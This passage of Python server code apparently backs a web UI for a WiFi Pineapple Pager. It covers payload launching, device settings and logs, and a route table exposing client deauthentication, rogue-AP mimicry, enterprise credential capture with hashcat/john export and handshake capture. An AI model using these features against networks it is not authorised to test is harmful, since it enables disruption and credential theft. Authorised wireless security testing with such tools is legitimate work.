else:
table = ENTERPRISE_TABLES.get(key)
if not table:
return 400, {'error': 'unknown table'}
names = [table]
try:
for table in names:
_db_write(RECON_DB, 'DELETE FROM %s' % table)
if key in ('all', 'challenge', 'basic'):
_save_ent_captures([])
try:
open(ENT_LOG, 'w').close()
except OSError:
pass
except RuntimeError as e:
return 502, {'error': str(e)}
return 200, {'ok': True, 'cleared': names}
def h_enterprise_log(ctx):
lines = []
try:
with open(ENT_LOG) as f:
lines = f.read().splitlines()[-120:]
except OSError:
pass
return 200, {
'lines': lines,
'captures': _harvest_ent_log(),
'stations': _ent_stations(),
}
def _proxy_json(method, path, body=None):
status, data = daemon_call(method, path, body=body, token=current_token())
if status != 200:
return (502 if status == 0 else status), {'error': 'daemon failed', 'detail': data}
return 200, (data if isinstance(data, dict) else {'ok': True})
def _payload_detail(data):
if isinstance(data, dict):
text = data.get('error') or data.get('detail')
if isinstance(text, str):
return text
return json.dumps(data)
if isinstance(data, bytes):
data = data.decode('utf-8', 'replace')
if isinstance(data, str):
try:
parsed = json.loads(data)
except Exception:
return data
if isinstance(parsed, dict):
text = parsed.get('error') or parsed.get('detail')
if isinstance(text, str):
return text
return data
return str(data) if data is not None else ''
def _payload_daemon(method, path, body=None):
status, data = daemon_call(method, path, body=body, token=current_token(), timeout=45)
if status != 200:
return (502 if status == 0 else status), {
'error': 'Pager payload service failed', 'detail': _payload_detail(data)}
if not isinstance(data, (dict, list)):
return 502, {'error': 'Pager payload service returned an invalid response'}
return 200, data
def _payload_key(value):
value = str(value or '')
return value if re.match(r'^[A-Za-z0-9._~-]+$', value) else ''
def _payload_installed_disk():
"""List payloads from disk when the stock portal API is unavailable."""
rows = []
for root in PAYLOAD_ROOTS:
user = os.path.join(root, 'user')
if not os.path.isdir(user):
continue
try:
categories = os.listdir(user)
except OSError:
continue
for category in categories:
catdir = os.path.join(user, category)
if not os.path.isdir(catdir):
continue
try:
names = os.listdir(catdir)
except OSError:
continue
for name in names:
path = os.path.join(catdir, name)
launch = os.path.join(path, 'payload.sh')
if not os.path.isfile(launch):
continue
manifest = {}
for fname in ('_hak5_manifest.json', 'manifest.json'):
mpath = os.path.join(path, fname)
if os.path.isfile(mpath):
try:
with open(mpath) as handle:
loaded = json.load(handle)
if isinstance(loaded, dict):
manifest = loaded
except (OSError, ValueError):
pass
break
key = manifest.get('key') or ('user~%s~%s' % (category, name))
rows.append({
'uuid': manifest.get('uuid', ''),
'key': key,
'path': path,
'category': manifest.get('category') or category,
'title': manifest.get('title') or name,
'author': manifest.get('author', ''),
'description': manifest.get('description', ''),
'version': manifest.get('version', ''),
'launchpoint': manifest.get('launchpoint') or 'payload.sh',
'interpreter': manifest.get('interpreter', ''),
'disabled': bool(manifest.get('disabled')),
'missingmanifest': not bool(manifest),
'update': None,
})
return 200, {'payloads': rows, 'source': 'disk'}
def _payload_installed():
status, data = _payload_daemon('POST', '/api/payloads/portal/updates', {})
if status != 200:
return _payload_installed_disk()
rows = []
for record in data if isinstance(data, list) else data.get('payloads', []):
if not isinstance(record, dict):
continue
item = record.get('installed') or {}
if not isinstance(item, dict):
continue
rows.append({
'uuid': item.get('uuid', ''),
'key': item.get('key', ''),
'path': item.get('path', ''),
'category': item.get('category', ''),
'title': item.get('title') or item.get('key', ''),
'author': item.get('author', ''),
'description': item.get('description', ''),
'version': item.get('version', ''),
'launchpoint': item.get('launchpoint') or 'payload.sh',
'interpreter': item.get('interpreter', ''),
'disabled': bool(item.get('disabled')),
'missingmanifest': bool(record.get('missingmanifest')),
'update': record.get('update') if isinstance(record.get('update'), dict) else None
})
return 200, {'payloads': rows}
def _payload_record(key):
status, data = _payload_installed()
if status != 200:
return status, data
for item in data.get('payloads', []):
if item.get('key') == key:
return 200, item
return 404, {'error': 'Installed payload not found'}
def _payload_safe_launch(item):
base = os.path.realpath(str(item.get('path') or ''))
launch = os.path.realpath(os.path.join(base, str(item.get('launchpoint') or 'payload.sh')))
allowed = any(base == root or base.startswith(root + os.sep) for root in PAYLOAD_ROOTS)
if (not allowed or launch == base or not launch.startswith(base + os.sep)
or not os.path.isfile(launch)):
return None
if base == SELF_PAYLOAD_DIR:
return None
return base, launch
def _payload_run_view(run, include_output=True):
proc = run.get('_process')
returncode = proc.poll() if proc is not None else run.get('returncode')
running = returncode is None
if not running and run.get('finished') is None:
run['finished'] = int(time.time())
run['returncode'] = returncode
view = {key: value for key, value in run.items() if not key.startswith('_') and key != 'log'}
view.update({'running': running, 'returncode': returncode})
if include_output:
output = ''
try:
with open(run.get('log', ''), 'rb') as handle:
handle.seek(0, 2)
size = handle.tell()
handle.seek(max(0, size - 65536))
output = handle.read().decode('utf-8', 'replace')
except OSError:
pass
view['output'] = output
return view
def h_payloads_index(ctx):
return _payload_daemon('GET', '/api/payloads/portal/index')
def h_payloads_installed(ctx):
return _payload_installed()
def h_payloads_refresh(ctx):
status, data = _payload_daemon('POST', '/api/payloads/portal/refresh', {})
if status == 200:
return status, data
_, disk = _payload_installed_disk()
disk['warning'] = 'Pager portal refresh failed; using on-disk payload list'
return 200, disk
def h_payloads_install(ctx):
key = _payload_key((ctx.body or {}).get('key', ''))
if not key:
return 400, {'error': 'key required'}
return _payload_daemon('POST', '/api/payloads/portal/%s/install' % key, {})
def h_payloads_remove(ctx):
key = _payload_key((ctx.body or {}).get('key', ''))
if not key:
return 400, {'error': 'key required'}
if key == SELF_PAYLOAD_KEY:
return 409, {'error': 'The active Mark VIII payload cannot remove itself'}
return _payload_daemon('POST', '/api/payloads/portal/%s/remove' % key, {})
def h_payloads_runs(ctx):
with _payload_runs_lock:
rows = [_payload_run_view(run) for run in _payload_runs.values()]
rows.sort(key=lambda row: row.get('started', 0), reverse=True)
return 200, {'runs': rows}
def h_payloads_run(ctx):
key = _payload_key((ctx.body or {}).get('key', ''))
if not key:
return 400, {'error': 'valid key required'}
status, item = _payload_record(key)
if status != 200:
return status, item
if item.get('disabled'):
return 409, {'error': 'This payload is disabled'}
safe = _payload_safe_launch(item)
if not safe:
if os.path.realpath(str(item.get('path') or '')) == SELF_PAYLOAD_DIR:
return 409, {'error': 'The Mark VIII payload cannot launch itself'}
return 409, {'error': 'Payload launchpoint is unavailable or unsafe'}
base, launch = safe
interpreter = str(item.get('interpreter') or '').strip()
command = [interpreter, launch] if interpreter else [launch]
try:
os.makedirs(PAYLOAD_RUN_DIR, exist_ok=True)
seed = '%s:%s:%s' % (key, time.time(), os.getpid())
run_id = hashlib.sha256(seed.encode()).hexdigest()[:12]
log_path = os.path.join(PAYLOAD_RUN_DIR, run_id + '.log')
log_handle = open(log_path, 'wb')
try:
proc = subprocess.Popen(command, cwd=base, stdout=log_handle,
stderr=subprocess.STDOUT, start_new_session=True)
finally:
log_handle.close()
except (OSError, ValueError) as exc:
return 500, {'error': 'Unable to launch payload: %s' % exc}
run = {
'id': run_id, 'key': key, 'title': item.get('title') or key,
'category': item.get('category', ''), 'path': base, 'pid': proc.pid,
'started': int(time.time()), 'finished': None, 'returncode': None,
'log': log_path, '_process': proc
}
with _payload_runs_lock:
_payload_runs[run_id] = run
return 200, {'run': _payload_run_view(run)}
def h_payloads_stop(ctx):
run_id = str((ctx.body or {}).get('id', ''))
with _payload_runs_lock:
run = _payload_runs.get(run_id)
if not run:
return 404, {'error': 'WebUI payload run not found'}
proc = run.get('_process')
if proc is None or proc.poll() is not None:
return 409, {'error': 'Payload is not running'}
try:
if hasattr(os, 'killpg'):
os.killpg(proc.pid, signal.SIGTERM)
else:
proc.terminate()
except OSError as exc:
return 500, {'error': 'Unable to stop payload: %s' % exc}
return 200, {'ok': True}
def _tail(text, lines):
return (text or '').splitlines()[-lines:] if lines else []
def _line_count(ctx, default, maximum=2000):
"""Parse and bound a log-tail line count from an HTTP query."""
try:
value = int(ctx.query.get('lines', default))
except (AttributeError, TypeError, ValueError):
value = default
return max(0, min(maximum, value))
def _tail_file(path, n):
try:
size = os.path.getsize(path)
with open(path, 'r', errors='replace') as f:
if size > 262144:
f.seek(max(0, size - 262144))
f.readline()
return _tail(f.read(), n)
except OSError:
return None
def _logread_lines(n, pattern=None, timeout=6):
n = max(0, min(int(n), 2000))
if n == 0:
return []
fetch = n if not pattern else min(2000, max(n * 4, 400))
argv = ['logread', '-l', str(fetch)]
if pattern:
argv.extend(['-e', pattern])
rc, out, err = device_run(argv, timeout=timeout)
combined = '%s %s' % (err or '', out or '')
if rc != 0 or re.search(r'invalid|unrecognized|unknown option|usage:', combined, re.I):
rc, out, err = device_run(['logread', '-l', str(fetch)], timeout=timeout)
if rc != 0:
rc, out, err = device_run(['logread'], timeout=timeout)
lines = (out or '').splitlines()
if pattern:
rx = re.compile(pattern, re.I)
lines = [line for line in lines if rx.search(line)]
return lines[-n:]
def h_logging_system(ctx):
n = _line_count(ctx, 200)
return 200, {'lines': _logread_lines(n)}
PINEAP_LOG = '/var/log/pineapd.log'
def h_logging_pineap(ctx):
n = _line_count(ctx, 200)
try:
if os.path.isfile(PINEAP_LOG):
tailed = _tail_file(PINEAP_LOG, n)
if tailed is not None:
return 200, {'lines': tailed}
except Exception:
pass
return 200, {'lines': _logread_lines(n, pattern=r'pineap|hostapd|eap')}
def h_settings_hostname(ctx):
if ctx.h.command == 'POST':
hostname = (ctx.body or {}).get('hostname', '').strip()
if not hostname:
return 400, {'error': 'hostname required'}
uci_set('system.@system[0].hostname', hostname)
return 200, {'hostname': hostname_data()}
def h_settings_password(ctx):
body = ctx.body or {}
newpw = body.get('new_password') or body.get('password', '')
if not newpw:
return 400, {'error': 'password required'}
if len(newpw) < 4:
return 400, {'error': 'password must be at least 4 characters'}
if any(ch in newpw for ch in ('\x00', '\r', '\n')):
return 400, {'error': 'password contains unsupported characters'}
repeat = body.get('repeat_password')
if repeat is not None and repeat != newpw:
return 400, {'error': 'new passwords do not match'}
current = body.get('current_password')
if current is not None:
status, data = daemon_call('POST', '/api/login',
body={'username': 'root', 'password': current})
if status != 200:
return 403, {'error': 'current password is incorrect'}
password_input = ('%s\n%s\n' % (newpw, newpw)).encode('utf-8')
rc, _, err = device_run(['/bin/passwd', 'root'], timeout=15,
input_data=password_input)
if rc != 0:
return 500, {'error': err.strip() or 'password change failed'}
try:
os.unlink(SESSION_FILE)
except OSError:
pass
return 200, {'ok': True}
def h_settings_ntp(ctx):
if ctx.h.command == 'POST':
body = ctx.body or {}
enabled = '1' if body.get('enabled', True) else '0'
uci_set('system.ntp.enabled', enabled)
servers = body.get('servers', [])
if isinstance(servers, list):
uci_delete('system.ntp.server')
for s in servers:
if s.strip():
uci_add_list('system.ntp.server', s.strip())
device_run(['/etc/init.d/sysntpd', 'restart'])
rc, out, err = device_run(['uci', 'show', 'system.ntp'])
raw = {}
for line in out.splitlines():
if '=' in line:
k, v = line.split('=', 1)
raw[k.strip()] = v.strip()
def values(value):
"""Parse the one-or-many shell-quoted values emitted by `uci show`."""
result = []
for match in re.finditer(r"'([^']*)'|\"([^\"]*)\"|([^\s]+)", value or ''):
result.append(next((g for g in match.groups() if g is not None), ''))
return result
servers = []
for k, v in raw.items():
if k.endswith('.server'):
servers.extend(values(v))
enabled_values = values(raw.get('system.ntp.enabled', '1'))
enabled = (enabled_values[0] if enabled_values else '1') != '0'
return 200, {'enabled': enabled, 'servers': servers}
def h_settings_service(ctx):
rc, out, err = device_run(['/etc/init.d/pagerwebui', 'running'])
running = rc == 0
rc2, out2, err2 = device_run(['test', '-f', '/etc/init.d/pagerwebui'])
return 200, {'running': running, 'background': rc2 == 0}
def _uci_get(option, default=None):
rc, out, err = device_run(['uci', '-q', 'get', option])
if rc != 0:
return default
val = (out or '').strip()
return val if val else default
def _request_is_post(ctx):
return getattr(getattr(ctx, 'h', None), 'command', 'GET') == 'POST'
def h_settings_timezone(ctx):
if _request_is_post(ctx):
body = ctx.body or {}
timezone = (body.get('timezone') or '').strip()
zonename = (body.get('zonename') or '').strip()
if not timezone or not re.match(r'^[A-Za-z0-9_+,:./-]{1,96}$', timezone):
return 400, {'error': 'invalid timezone'}
device_run(['uci', 'set', 'system.@system[0].timezone=%s' % timezone])
if zonename and re.match(r'^[A-Za-z0-9_+./-]{1,96}$', zonename):
device_run(['uci', 'set', 'system.@system[0].zonename=%s' % zonename])
else:
device_run(['uci', 'delete', 'system.@system[0].zonename'])
device_run(['uci', 'commit', 'system'])
device_run(['/etc/init.d/system', 'reload'])
return 200, {
'timezone': _uci_get('system.@system[0].timezone', 'UTC'),
'zonename': _uci_get('system.@system[0].zonename', '')
}
def h_settings_sync_time(ctx):
timestamp = (ctx.body or {}).get('timestamp', '')
if isinstance(timestamp, (int, float)):
timestamp = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime(timestamp))
timestamp = str(timestamp).strip()
if not re.match(r'^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$', timestamp):
return 400, {'error': 'timestamp must be UTC YYYY-MM-DD HH:MM:SS'}
rc, out, err = device_run(['date', '-u', '-s', timestamp])
if rc != 0:
return 502, {'error': err or out or 'failed to set time'}
device_run(['hwclock', '-w'])
return 200, {'ok': True, 'utc': timestamp}
def _parse_df_rows(text):
rows = []
for line in text.splitlines()[1:]:
parts = line.split()
if len(parts) < 7:
continue
try:
size = int(parts[2]) * 1024
used = int(parts[3]) * 1024
available = int(parts[4]) * 1024
except ValueError:
continue
rows.append({'filesystem': parts[0], 'format': parts[1], 'size': size,
'used': used, 'available': available,
'used_percent': parts[5], 'mount': ' '.join(parts[6:])})
return rows
def h_settings_resources(ctx):
rc, out, err = device_run(['df', '-PT'])
return 200, {'filesystems': _parse_df_rows(out)}
def h_settings_usb(ctx):
rc, out, err = device_run(['lsusb'])
devices = []
pattern = re.compile(r'^Bus\s+(\d+)\s+Device\s+(\d+):\s+ID\s+([0-9A-Fa-f:]+)\s*(.*)$')
for line in out.splitlines():
match = pattern.match(line.strip())
if match:
devices.append({'bus': match.group(1), 'device': match.group(2),
'id': match.group(3), 'name': match.group(4).strip()})
return 200, {'devices': devices}
def h_settings_network(ctx):
_, link_out, _ = device_run(['ip', '-o', 'link', 'show'])
_, addr_out, _ = device_run(['ip', '-o', '-4', 'addr', 'show'])
addresses = {}
for line in addr_out.splitlines():
match = re.match(r'^\d+:\s+([^\s]+)\s+inet\s+([^\s]+)', line)
if match:
addresses.setdefault(match.group(1).split('@', 1)[0], []).append(match.group(2))
interfaces = []
for line in link_out.splitlines():
match = re.match(r'^\d+:\s+([^:]+):\s+<([^>]*)>.*?(?:link/\S+\s+([^\s]+))?', line)
if not match:
continue
name = match.group(1).split('@', 1)[0]
# Monitor interfaces on the Pager report link/[803] instead of
# link/ether, but still expose a normal MAC immediately afterward.
mac_match = re.search(r'link/\S+\s+([0-9A-Fa-f:]{17})', line)
flags = [f for f in match.group(2).split(',') if f]
# The current Pager iproute build occasionally renders LOWER_UP100.
flags = [re.sub(r'100$', '', f) for f in flags]
interfaces.append({'name': name, 'addresses': addresses.get(name, []),
'mac': mac_match.group(1).upper() if mac_match else '',
'flags': flags})
_, route_out, _ = device_run(['route', '-n'])
routes = []
for line in route_out.splitlines():
parts = line.split()
if len(parts) == 8 and re.match(r'^\d+\.\d+\.\d+\.\d+$', parts[0]):
routes.append({'destination': parts[0], 'gateway': parts[1],
'genmask': parts[2], 'flags': parts[3],
'metric': parts[4], 'ref': parts[5], 'use': parts[6],
'interface': parts[7]})
return 200, {'interfaces': interfaces, 'routes': routes,
'client': {'interface': 'wlan0cli',
'enabled': _uci_get('wireless.wlan0cli.disabled', '1') == '0'},
'recon_interfaces': [i['name'] for i in interfaces
if i['name'].endswith('mon')]}
def h_settings_management_wifi(ctx):
current = _uci_wifi_iface('wlan0mgmt')
if _request_is_post(ctx):
body = ctx.body or {}
enabled = bool(body.get('enabled'))
ssid = (body.get('ssid') or current.get('ssid') or '').strip()
bssid = (body.get('bssid') or current.get('macaddr') or '').strip().upper()
password = body.get('password') or current.get('key') or ''
if enabled and not ssid:
return 400, {'error': 'SSID is required when the management AP is enabled'}
if enabled and len(password) < 8:
return 400, {'error': 'management password must be at least 8 characters'}
if bssid and not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid):
return 400, {'error': 'invalid BSSID'}
values = {
'ssid': ssid, 'hidden': '1' if body.get('hidden') else '0',
'disabled': '0' if enabled else '1',
'encryption': 'psk2' if password else 'none'
}
if password:
values['key'] = password
if bssid:
values['macaddr'] = bssid
for key, value in values.items():
device_run(['uci', 'set', 'wireless.wlan0mgmt.%s=%s' % (key, value)])
device_run(['uci', 'commit', 'wireless'])
rc, out, err = device_run(['wifi', 'reload'], timeout=45)
if rc != 0:
return 502, {'error': err or out or 'wireless reload failed'}
current = _uci_wifi_iface('wlan0mgmt')
return 200, {
'ssid': current.get('ssid') or '', 'bssid': current.get('macaddr') or '',
'hidden': current.get('hidden') == '1',
'enabled': current.get('disabled') == '0',
'has_password': bool(current.get('key'))
}
WIFI_CLIENT_ENCRYPTIONS = {
'none': 'none', 'open': 'none',
'wpa2': 'psk2', 'psk2': 'psk2',
'wpa3': 'sae', 'sae': 'sae',
'wpa2wpa3': 'sae-mixed', 'sae-mixed': 'sae-mixed'
}
def _freq_to_channel(freq):
if not freq:
return None
if freq < 2484:
return int((freq - 2412) / 5 + 1)
if freq == 2484:
return 14
return int((freq - 5000) / 5)
def _wifi_client_state():
cfg = _uci_wifi_iface('wlan0cli')
state = {
'enabled': cfg.get('disabled', '1') != '1',
'connected': False,
'ssid': cfg.get('ssid') or '',
'connected_ssid': '',
'ip': '',
'signal': None,
'freq': None,
'routed': cfg.get('routed') == '1',
'has_password': bool(cfg.get('key'))
}
rc, out, err = device_run(['iw', 'dev', 'wlan0cli', 'link'], timeout=10)
for line in out.splitlines():
line = line.strip()
if line.startswith('Connected to'):
state['connected'] = True
elif line.startswith('SSID:'):
state['connected_ssid'] = line.split(':', 1)[1].strip().strip('"')
elif line.startswith('signal:'):
try:
state['signal'] = int(float(line.split(':', 1)[1].split()[0]))
except (ValueError, IndexError):
state['signal'] = None
elif line.startswith('freq:'):
try:
state['freq'] = int(float(line.split(':', 1)[1].split()[0]))
except (ValueError, IndexError):
state['freq'] = None
if not state['connected']:
state['connected_ssid'] = ''
_, addr_out, _ = device_run(['ip', '-4', 'addr', 'show', 'dev', 'wlan0cli'], timeout=10)
for line in addr_out.splitlines():
m = re.search(r'inet\s+(\d+\.\d+\.\d+\.\d+)', line)
if m:
state['ip'] = m.group(1)
break
return state
def h_settings_wifi_client(ctx):
return 200, _wifi_client_state()
def _parse_wifi_scan(out):
networks = []
for block in out.split('BSS '):
block = block.strip()
if not block:
continue
m = re.match(r'([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})\(on', block)
bss = m.group(1).upper() if m else ''
freq = None
m = re.search(r'freq:\s*([\d.]+)', block)
if m:
try:
freq = int(float(m.group(1)))
except ValueError:
freq = None
signal = None
m = re.search(r'signal:\s*(-?\d+(?:\.\d+)?)', block)
if m:
try:
signal = int(float(m.group(1)))
except ValueError:
signal = None
ssid = ''
m = re.search(r'SSID:\s*([^\n]*)', block)
if m:
ssid = m.group(1).strip().strip('"')
if (not ssid or all(ord(c) < 32 or c == '\ufffd' for c in ssid)
or re.match(r'^(\\x[0-9A-Fa-f]{2})+$', ssid)):
ssid = ''
if not ssid:
continue
auth = ''
m = re.search(r'Authentication suites:\s*([^\n]+)', block)
if m:
auth = m.group(1).strip()
if 'RSN:' in block and 'WPA:' in block:
encryption = 'WPA/WPA2'
elif 'RSN:' in block:
if 'SAE' in auth and 'PSK' in auth:
encryption = 'WPA2/WPA3'
elif 'SAE' in auth:
encryption = 'WPA3'
else:
encryption = 'WPA2'
elif 'WPA:' in block:
encryption = 'WPA'
else:
encryption = 'Open'
networks.append({'bssid': bss, 'ssid': ssid, 'freq': freq,
'channel': _freq_to_channel(freq), 'signal': signal,
'encryption': encryption})
by_ssid = {}
for net in networks:
key = net['ssid'] or net['bssid']
current = by_ssid.get(key)
if current is None or (net['signal'] or -200) > (current['signal'] or -200):
by_ssid[key] = net
return sorted(by_ssid.values(),
key=lambda n: n['signal'] if n['signal'] is not None else -200,
reverse=True)
def h_settings_wifi_client_scan(ctx):
rc, out, err = device_run(['iw', 'dev', 'wlan0', 'scan'], timeout=25)
if rc != 0:
return 502, {'error': err or out or 'scan failed'}
return 200, {'networks': _parse_wifi_scan(out)}
def h_settings_wifi_client_connect(ctx):
body = ctx.body or {}
ssid = (body.get('ssid') or '').strip()
if not ssid:
return 400, {'error': 'SSID is required'}
encryption = (body.get('encryption') or 'wpa2').strip().lower()
if encryption not in WIFI_CLIENT_ENCRYPTIONS:
return 400, {'error': 'unsupported encryption type'}
enc = WIFI_CLIENT_ENCRYPTIONS[encryption]
password = body.get('password') or ''
if enc != 'none' and len(password) < 8:
return 400, {'error': 'password must be at least 8 characters'}
routed = '1' if body.get('routed') else '0'
device_run(['uci', 'set', 'wireless.wlan0cli.ssid=%s' % ssid])
device_run(['uci', 'set', 'wireless.wlan0cli.encryption=%s' % enc])
device_run(['uci', 'set', 'wireless.wlan0cli.disabled=0'])
device_run(['uci', 'set', 'wireless.wlan0cli.routed=%s' % routed])
if enc == 'none':
device_run(['uci', 'delete', 'wireless.wlan0cli.key'])
else:
device_run(['uci', 'set', 'wireless.wlan0cli.key=%s' % password])
device_run(['uci', 'commit', 'wireless'])
daemon_sock_call('PUT', '/api/settings/wifi/set_client_route', {'routed': body.get('routed') or False})
rc, out, err = device_run(['wifi', 'reload'], timeout=45)
if rc != 0:
return 502, {'error': err or out or 'wireless reload failed'}
return 200, _wifi_client_state()
def h_settings_wifi_client_disconnect(ctx):
device_run(['uci', 'set', 'wireless.wlan0cli.disabled=1'])
device_run(['uci', 'commit', 'wireless'])
rc, out, err = device_run(['wifi', 'reload'], timeout=45)
if rc != 0:
return 502, {'error': err or out or 'wireless reload failed'}
return 200, _wifi_client_state()
def h_settings_wifi_client_route(ctx):
routed = bool((ctx.body or {}).get('routed'))
device_run(['uci', 'set', 'wireless.wlan0cli.routed=%d' % (1 if routed else 0)])
device_run(['uci', 'commit', 'wireless'])
daemon_sock_call('PUT', '/api/settings/wifi/set_client_route', {'routed': routed})
return 200, _wifi_client_state()
PAGER_LED_COLORS = ('red', 'green', 'blue', 'yellow', 'cyan', 'magenta', 'white')
def h_settings_hardware(ctx):
prefix = 'system.@pager[0].'
if _request_is_post(ctx):
body = ctx.body or {}
color = (body.get('led_color') or '').lower()
if color not in PAGER_LED_COLORS:
return 400, {'error': 'unsupported LED color'}
values = {
'led_color': color,
'vibrate': '1' if body.get('vibrate') else '0',
'clock24hr': '1' if body.get('clock24hr') else '0',
'lcd_brightness': str(max(1, min(11, int(body.get('lcd_brightness', 11))))),
'dim_brightness': str(max(0, min(11, int(body.get('dim_brightness', 2))))),
'dim_timeout': str(max(0, min(3600, int(body.get('dim_timeout', 15))))),
'lcd_timeout': str(max(0, min(86400, int(body.get('lcd_timeout', 300)))))
}
for key, value in values.items():
device_run(['uci', 'set', prefix + key + '=' + value])
device_run(['uci', 'commit', 'system'])
def number(key, fallback):
try:
return int(_uci_get(prefix + key, str(fallback)))
except ValueError:
return fallback
return 200, {
'led_color': _uci_get(prefix + 'led_color', 'magenta'),
'vibrate': _uci_get(prefix + 'vibrate', '1') == '1',
'clock24hr': _uci_get(prefix + 'clock24hr', '0') == '1',
'lcd_brightness': number('lcd_brightness', 11),
'dim_brightness': number('dim_brightness', 2),
'dim_timeout': number('dim_timeout', 15),
'lcd_timeout': number('lcd_timeout', 300)
}
def h_settings_advanced(ctx):
if _request_is_post(ctx):
channel = (ctx.body or {}).get('update_channel', '').strip().lower()
if channel not in ('stable', 'beta', 'nightly'):
return 400, {'error': 'invalid update channel'}
uci_set('system.updates.channel', channel)
return 200, {'hostname': hostname_data(),
'update_channel': _uci_get('system.updates.channel', 'stable')}
def h_settings_internet(ctx):
rc, _out, _err = device_run(
['ping', '-c', '1', '-W', '2', '1.1.1.1'], timeout=5)
return 200, {'online': rc == 0, 'checked_at': int(time.time())}
def _perform_reboot():
device_run(['reboot'], timeout=5)
def h_settings_reboot(ctx):
timer = threading.Timer(1.0, _perform_reboot)
timer.daemon = True
timer.start()
return 200, {'ok': True}
def h_settings_diagnostics(ctx):
commands = [
('System', ['uname', '-a']), ('Uptime', ['uptime']),
('Addresses', ['ip', 'addr']), ('Routes', ['route', '-n']),
('Filesystems', ['df', '-hT']), ('USB Devices', ['lsusb']),
('Wireless', ['iw', 'dev']), ('Recent Log', ['logread', '-l', '120'])
]
sections = []
report = ['WiFi Pineapple Pager diagnostics', time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())]
for title, command in commands:
rc, out, err = device_run(command, timeout=30)
text = (out or err or '(no output)').strip()
sections.append({'title': title, 'output': text, 'ok': rc == 0})
report.extend(['', '=== %s ===' % title, text])
return 200, {'sections': sections, 'report': '\n'.join(report)}
ROUTER.add('POST', r'/api/login', h_login)
ROUTER.add('POST', r'/api/logout', h_logout)
ROUTER.add('GET', r'/api/api_ping', h_api_ping)
ROUTER.add('GET', r'/api/status', h_status)
ROUTER.add('GET', r'/api/device', h_device)
ROUTER.add('GET', r'/api/pineap/get_config', h_pineap_get_config)
ROUTER.add('POST', r'/api/pineap/set_config', h_pineap_set_config)
ROUTER.add('GET', r'/api/pineap/mode', h_pineap_mode_get)
ROUTER.add('POST', r'/api/pineap/mode', h_pineap_mode_post)
ROUTER.add('GET', r'/api/pineap/hostapd', h_pineap_hostapd_get)
ROUTER.add('POST', r'/api/pineap/hostapd', h_pineap_hostapd_set)
ROUTER.add('POST', r'/api/pineap/enable', h_pineap_enable)
ROUTER.add('POST', r'/api/pineap/mimic', h_pineap_mimic)
ROUTER.add('POST', r'/api/pineap/examine', h_pineap_examine)
ROUTER.add('POST', r'/api/pineap/wifi/get_ap', h_pineap_wifi_get_ap)
ROUTER.add('POST', r'/api/pineap/wifi/set_ap', h_pineap_wifi_set_ap)
ROUTER.add('POST', r'/api/pineap/ssidpool/advertise', h_pineap_advertise)
ROUTER.add('POST', r'/api/pineap/ssidpool/collect', h_pineap_collect)
ROUTER.add('POST', r'/api/pineap/interfaces', h_pineap_interfaces)
ROUTER.add('GET', r'/api/pineap/ssids', h_ssids_get)
ROUTER.add('POST', r'/api/pineap/ssids', h_ssids_post)
ROUTER.add('GET', r'/api/pineap/filters/client', lambda ctx: h_filter_get(ctx, 'client'))
ROUTER.add('POST', r'/api/pineap/filters/client', lambda ctx: h_filter_post(ctx, 'client'))
ROUTER.add('GET', r'/api/pineap/filters/ssid', lambda ctx: h_filter_get(ctx, 'ssid'))
ROUTER.add('POST', r'/api/pineap/filters/ssid', lambda ctx: h_filter_post(ctx, 'ssid'))
ROUTER.add('GET', r'/api/pineap/enterprise/radius', h_enterprise_radius)
ROUTER.add('GET', r'/api/pineap/enterprise/log', h_enterprise_log)
ROUTER.add('GET', r'/api/pineap/enterprise/export/(hashcat|john|json)', h_enterprise_export)
ROUTER.add('GET', r'/api/pineap/enterprise/(basic|challenge)', h_enterprise_data)
ROUTER.add('POST', r'/api/pineap/enterprise/clear', h_enterprise_clear)
ROUTER.add('GET', r'/api/pineap/clients', h_clients)
ROUTER.add('POST', r'/api/pineap/clients/kick', h_client_kick)
ROUTER.add('POST', r'/api/pineap/deauth/client', h_deauth_client)
ROUTER.add('POST', r'/api/attacks/deploy', h_attacks_deploy)
ROUTER.add('POST', r'/api/attacks/stop', h_attacks_stop)
ROUTER.add('GET', r'/api/attacks/status', h_attacks_status)
ROUTER.add('POST', r'/api/attacks/capture', h_attacks_capture)
ROUTER.add('GET', r'/api/attacks/export/hc22000', h_attacks_export_hc22000)
ROUTER.add('GET', r'/api/attacks/export/hc22000/([^/]+)', h_attacks_download_hc22000)
ROUTER.add('POST', r'/api/attacks/deauth', h_attacks_deauth)
ROUTER.add('GET', r'/api/attacks/clients', h_attacks_clients)
ROUTER.add('GET', r'/api/health', h_health)
ROUTER.add('POST', r'/mcp', h_mcp)
ROUTER.add('GET', r'/api/harness/capabilities', h_harness_capabilities)
ROUTER.add('GET', r'/api/harness/token', h_harness_token)
ROUTER.add('POST', r'/api/recon/start', h_recon_start)
ROUTER.add('POST', r'/api/recon/stop', h_recon_stop)
ROUTER.add('GET', r'/api/recon/status', h_recon_status)
ROUTER.add('GET', r'/api/recon/scans', h_recon_scans)
ROUTER.add('DELETE', r'/api/recon/scans', h_recon_delete_all)
ROUTER.add('GET', r'/api/recon/scans/(\d+)/download/json', h_recon_scan_download)
ROUTER.add('GET', r'/api/recon/scans/(\d+)', h_recon_scan_detail)
ROUTER.add('DELETE', r'/api/recon/scans/(\d+)', h_recon_delete)
ROUTER.add('GET', r'/api/recon/events', h_recon_events)
ROUTER.add('POST', r'/api/recon/examine', h_recon_examine)
ROUTER.add('GET', r'/api/recon/scans/(\d+)/download/csv', h_recon_scan_download_csv)
ROUTER.add('GET', r'/api/recon/scans/(\d+)/download/html', h_recon_scan_download_html)
ROUTER.add('GET', r'/api/recon/gps', h_recon_gps)
ROUTER.add('POST', r'/api/recon/gps/configure', h_recon_gps_configure)
ROUTER.add('POST', r'/api/recon/wigle', h_recon_wigle)
ROUTER.add('GET', r'/api/recon/wigle/files', h_recon_wigle_files)
ROUTER.add('GET', r'/api/recon/wigle/files/([^/]+)', h_recon_wigle_file)
ROUTER.add('GET', r'/api/recon/archives', h_recon_archives)
ROUTER.add('GET', r'/api/recon/archives/([^/]+)/scans', h_recon_archive_scans)
ROUTER.add('GET', r'/api/recon/archives/([^/]+)/scans/(\d+)', h_recon_archive_scan_detail)
ROUTER.add('GET', r'/api/recon/archives/([^/]+)/scans/(\d+)/download/json', h_recon_archive_scan_download)
